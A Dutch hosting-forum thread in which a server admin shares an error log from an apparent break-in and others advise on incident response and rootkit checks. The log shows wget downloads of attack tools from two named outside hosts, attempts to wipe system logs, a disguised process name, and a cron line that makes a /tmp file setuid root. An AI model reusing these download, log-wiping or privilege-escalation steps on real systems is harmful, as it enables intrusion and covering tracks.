Onderwerp: httpd error log

Ik vind het onderstaand in mijn errorlog (directadmin)
Moet ik me direct zorgen maken? Volgens mij probeerd men alleen toegang te krijgen tot bestanden maar lukt het niet (permission denied).



Cannot write to `xh' (Permission denied).
chmod: cannot access `xh': No such file or directory
error: 'kern.ostype' is an unknown key
--20:56:53-- http://gh0stcrew.altervista.org/httpd
=> `httpd'
Resolving gh0stcrew.altervista.org... 75.126.23.98
Connecting to gh0stcrew.altervista.org|75.126.23.98|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219,325 (214K) [text/plain]

0K .......... .......... .......... .......... .......... 23% 108.07 KB/s
50K .......... .......... .......... .......... .......... 46% 427.14 KB/s
100K .......... .......... .......... .......... .......... 70% 432.61 KB/s
150K .......... .......... .......... .......... .......... 93% 852.09 KB/s
200K .......... .... 100% 255.72 KB/s

20:56:54 (264.60 KB/s) - `httpd' saved [219325/219325]

--20:57:05-- http://gh0stcrew.altervista.org/xh
=> `xh'
Resolving gh0stcrew.altervista.org... 75.126.23.98
Connecting to gh0stcrew.altervista.org|75.126.23.98|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15,125 (15K) [text/plain]

0K .......... .... 100% 64.10 KB/s

20:57:06 (64.10 KB/s) - `xh' saved [15125/15125]

==> Fakename: /usr/local/apache/bin/httpd/ PidNum: 5250
chmod: changing permissions of `anaconda.log': Operation not permitted
chmod: changing permissions of `boot.log': Operation not permitted
chmod: changing permissions of `prelink.log': Operation not permitted
chmod: changing permissions of `yum.log': Operation not permitted
rm: cannot remove `anaconda.log': Permission denied
rm: cannot remove `boot.log': Permission denied
rm: cannot remove `prelink.log': Permission denied
rm: cannot remove `yum.log': Permission denied
--21:20:30-- http://parit.org/dc
=> `dc'
Resolving parit.org... 82.237.120.143
Connecting to parit.org|82.237.120.143|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13,985 (14K) [application/x-executable]

0K .......... ... 100% 42.24 KB/s

21:20:31 (42.24 KB/s) - `dc' saved [13985/13985]

Het ziet eruit alsof iemand een wat rotzooi op je systeem heeft kunnen zetten en afhankelijk van de locatie waar de zooi terecht is gekomen, kan je na een reboot wel eens een paar extra 'open deurtjes' hebben.
Ik zou vooral de genoemde logfiles goed bestuderen.

Alles controleren.

Bij twijfel opnieuw installeren.

Er schijnt idd iets niet meer in orde te zijn... kloppen meerdere logs niet --op dit moment verder aan het kijken naar oplossingen--


Er is in ieder geval al contact opgenomen met de party waar het domein s ondergebracht waar het vandaan komt (staat niet boven in de log)

iemand zijn site is gehackt en iemand probeert wat tooltjes om te ddossen/exploiten/spammen/... te downloaden om die daarna uit te voeren op de server. find / -name 'xh' -print ofzo eens om te weten waar ze exact staan.

Dit is gewoon op user level, dus zolang je bak niet rooted is moet je je niets aantrekken van de mensen die hier altijd roepen: 'pasop om 100% zeker te zijn moet je je bak herinstallen!!!'.

Oorspronkelijk geplaatst door wv-

Dit is gewoon op user level, dus zolang je bak niet rooted is moet je je niets aantrekken van de mensen die hier altijd roepen: 'pasop om 100% zeker te zijn moet je je bak herinstallen!!!'.

Och ja, wat dom van mij. En het is natuurlijk ook totaal onmogelijk om als gewone user via bepaalde lekken, bijvoorbeeld de kernel, alsnog root access te krijgen.

Gelukkig zijn er ook geen figuren die dergelijke gaten zouden willen misbruiken, nietwaar?

Helaas is de realiteit anders.

Daarom moet je e.e.a. controleren en in geval van twijfels of aanwijzingen dat de server toch rooted is bij voorkeur geheel of gedeeltelijk herinstalleren.

Lukraak herinstalleren is vaak onnodig maar zonder enig nader onderzoek een server online laten staan is hoogst onverstandig.

Herinstalleren os absoluut de allerlaatste oplossing, gewoon alles goed nalopen, eventueel met hulp van een systeembeheerder, maar je moet dit soort zaken wel serieus behandelen.

Als je simpelweg een reinstall doet en dezelfde setting aanhoud, dan kan de misbruiker zijn trucje gewoon herhalen, nalopen en ervan leren of als je er zelf geen tijd / niet voldoende kennis hebt, iemand inhuren om dit na te lopen.

idd.. dat ben ik nu aanhet doen..

Aangezien dit de eerste keer is dat ik dit soort logs vind (in 3 jaar tijd) is het allemaal wat nieuw.. Als ik twijles blijf houden huur ik vanzelfsprekend iemand in die hier meer ervaring mee heeft.

Dat bedoel ik net, herinstalleren is echt de alleralleraller laatste oplossing. Het is perfect mogelijk om mogelijke backdoors/rootkits/... te detecteren op een nog werkende server.

Het is zeker niet de eerste keer dat er reacties en topics komen puur om mensen te doen panikeren of schrik aan te doen. Paniek van de ene is het brood voor de andere misschien?

Misschien heb je nog een md5 lijst oid. van je serverbestanden? Dan zie je direct of het beter is om een herinstall te doen of niet.

er stond een vage cron in 'cron.d'

met Sep 18 16:10:01 server crond[7150]: (root) CMD ( chown roroot /tmp/local && chmod 4755 /tmp/local && rm -rf /etc/cron.d/core && kill -USR1 5630)

De DA cron die ieder minuut draait was ook stilgelegd, na het verwijderen hiervan draait deze weer.

rkhunter/rootkit vind niets vreemds.

das een bekende exploit. Kijk eens na of jouw kernel exploitable was. Indien ja is je bak geroot.

Dit vind ik op xh

[root@server /]# find / -name 'xh' -print
/tmp/sess_00a81b2e507d2ec70859c8ff4d903iR0/xh
/var/tmp/.sess_140388140388140388/xh
/var/tmp/.a/xh

Oorspronkelijk geplaatst door wv-

das een bekende exploit. Kijk eens na of jouw kernel exploitable was. Indien ja is je bak geroot.

en dat houd in?

Ge-root betekent dat iemand anders ook 'root' is en dat je niet meer de baas bent over de bak

whehe.. zeg dat dan